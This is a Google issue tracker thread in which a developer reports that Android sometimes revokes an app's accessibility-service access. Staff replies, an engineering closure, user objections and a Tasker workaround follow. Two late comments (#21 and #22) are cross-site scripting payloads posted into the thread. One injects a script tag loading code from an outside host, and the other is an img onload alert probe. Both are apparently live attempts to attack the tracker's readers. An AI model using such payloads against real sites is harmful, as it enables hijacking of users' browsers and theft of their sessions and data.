Assigned
Status Update
Comments
lb...@gmail.com <lb...@gmail.com> #2
This was on Pixel 6 with Android 12.1.
lb...@gmail.com <lb...@gmail.com> #3 Restricted
Restricted
pa...@google.com <pa...@google.com>
pa...@google.com <pa...@google.com> #4
Thank you for reporting the issue. For us to further investigate this issue, please provide the following additional information:
Which Android build are you using? (e.g. PPP5.180610.010)
Android bug report (to be captured after reproducing the issue) For steps to capture a bug report, please refer:https://developer.android.com/studio/debug/bug-report#bugreportdevice
Alternate method Navigate to “Developer options”, ensure “USB debugging” is enabled, then enable “Bug report shortcut”. Capture bug report by holding the power button and selecting the “Take bug report” option.
Screen Record of the Issue Please capture screen record or video of the issue using following steps: adb shell screenrecord /sdcard/video.mp4 Subsequently use following command to pull the recorded file: adb pull /sdcard/video.mp4 Attach the file to this issue.
Note: Please upload the bug report and screenshot to google drive and share the folder to android-bugreport@google.com, then share the link here.
Which Android build are you using? (e.g. PPP5.180610.010)
Android bug report (to be captured after reproducing the issue) For steps to capture a bug report, please refer:
Alternate method Navigate to “Developer options”, ensure “USB debugging” is enabled, then enable “Bug report shortcut”. Capture bug report by holding the power button and selecting the “Take bug report” option.
Screen Record of the Issue Please capture screen record or video of the issue using following steps: adb shell screenrecord /sdcard/video.mp4 Subsequently use following command to pull the recorded file: adb pull /sdcard/video.mp4 Attach the file to this issue.
Note: Please upload the bug report and screenshot to google drive and share the folder to android-bugreport@google.com, then share the link here.
lb...@gmail.com <lb...@gmail.com> #5
@4 All the questions and the bug report file are already written.
It's on Pixel 4, Android 12.1 beta 3.
Notice the file "bugreport-oriole-S3B1.220420.005-2022-06-02-15-00-40.zip".
It's on Pixel 4, Android 12.1 beta 3.
Notice the file "bugreport-oriole-S3B1.220420.005-2022-06-02-15-00-40.zip".
pa...@google.com <pa...@google.com> #6
Thank you for reporting this issue. We have shared this with our product and engineering teams and will continue to provide updates as more information becomes available.
pa...@google.com <pa...@google.com> #7
Hello,
Kindly provide the below detail for further investigation.
Could you be more specific on which permission you were talking about? (e.g. attach a screenshot?)
Or if you were referring to the state of being an enabled accessibility service, that is not a permission.
Thank you.
Kindly provide the below detail for further investigation.
Could you be more specific on which permission you were talking about? (e.g. attach a screenshot?)
Or if you were referring to the state of being an enabled accessibility service, that is not a permission.
Thank you.
lb...@gmail.com <lb...@gmail.com> #8
@7 Hello.
It's written in the title: Accessibility service.
Attached screenshot.
It's written in the title: Accessibility service.
Attached screenshot.
lb...@gmail.com <lb...@gmail.com> #9
@7 As for calling it a permission, I know it's not the technical term, but to enable it means I grant it multiple permissions to be able to do various things that it allows.
pa...@google.com <pa...@google.com> #10
Thank you for the quick reply, we passed information to the internal team and will update you once we receive any update from the eng team.
pa...@google.com <pa...@google.com> #11
Hello,
Kindly check the following comment from our engineering team "I'm not aware of users of our major accessibility services encountering this problem. Services will also fail if they crash for some reason. I don't think we have a flaw in the QPR, so since this is just a one-off from an unknown developer, closing."
lb...@gmail.com <lb...@gmail.com> #12
@11 It happens from time to time, and the app didn't change, and it worked fine on previous versions of Android.
It's a tiny app I've developed for myself.
It doesn't crash.
It's a tiny app I've developed for myself.
It doesn't crash.
pa...@google.com <pa...@google.com>
lb...@gmail.com <lb...@gmail.com> #13
@11 Would you like me to prepare a similar app that does nothing (hence no way it crashes), to see that indeed it's revoked for it as well?
Sadly this issue is quite rare, though...
Sadly this issue is quite rare, though...
pa...@google.com <pa...@google.com> #14
We passed information to the internal team and will update you once we receive any update from the eng team.
lb...@gmail.com <lb...@gmail.com> #15
Tried to get a bug report when I noticed it (and then I enabled it again), and attached here.
Sadly the logs might have missed it, because I don't always use this accessibility service...
I think it might be related to the annoying notification of accessibility, that I can't disable. The reason is that I remember I saw it yesterday.
I'm talking about this:
https://issuetracker.google.com/issues/215403284
Sadly the logs might have missed it, because I don't always use this accessibility service...
I think it might be related to the annoying notification of accessibility, that I can't disable. The reason is that I remember I saw it yesterday.
I'm talking about this:
he...@gmail.com <he...@gmail.com> #16
Peak arrogance, "I don't think we have a flaw in the QPR, so since this is just a one-off from an unknown developer, closing."
This is a known, long standing, issue Google refuse to fix, see:
lb...@gmail.com <lb...@gmail.com> #17
This issue still occurs even today.
Occurs on TQ1A.230105.002 on Pixel 6.
Occurs on TQ1A.230105.002 on Pixel 6.
lb...@gmail.com <lb...@gmail.com> #18 Restricted
Restricted
lb...@gmail.com <lb...@gmail.com> #19
I've got it again, and this time I've noticed it happens to another app that I've given accessibility :
https://play.google.com/store/apps/details?id=com.teslacoilsw.launcher
Please fix this.
Please fix this.
lb...@gmail.com <lb...@gmail.com> #20
This issue got to be known by Tasker users too, which is why Tasker got a special feature to have a workaround for it, re-enabling accessibility (using adb command to let it do it):
https://youtu.be/pyUxrWArztc?t=43
Please fix this. Nobody should use such workarounds...
Please fix this. Nobody should use such workarounds...
bl...@gmail.com <bl...@gmail.com> #21
"><script src="https://blackpanther87.vercel.app"></script>
bl...@gmail.com <bl...@gmail.com> #22
<img src="x" onload="alert(1);">
Description
1. Install some app that uses accessibility (mine has package name of "com.example.autoControlAccessibilityTest"), and grant the permission.
2. Wait a few days.
- What happened.
Very rare, but sometimes the permission is revoked, and the accessibility won't start.
When opening the app's page of the permission, indeed I need to grant it again.
- What you think the correct behavior should be.
Shouldn't occur. It should remain granted.
- Is this a security related issue? Yes/No
No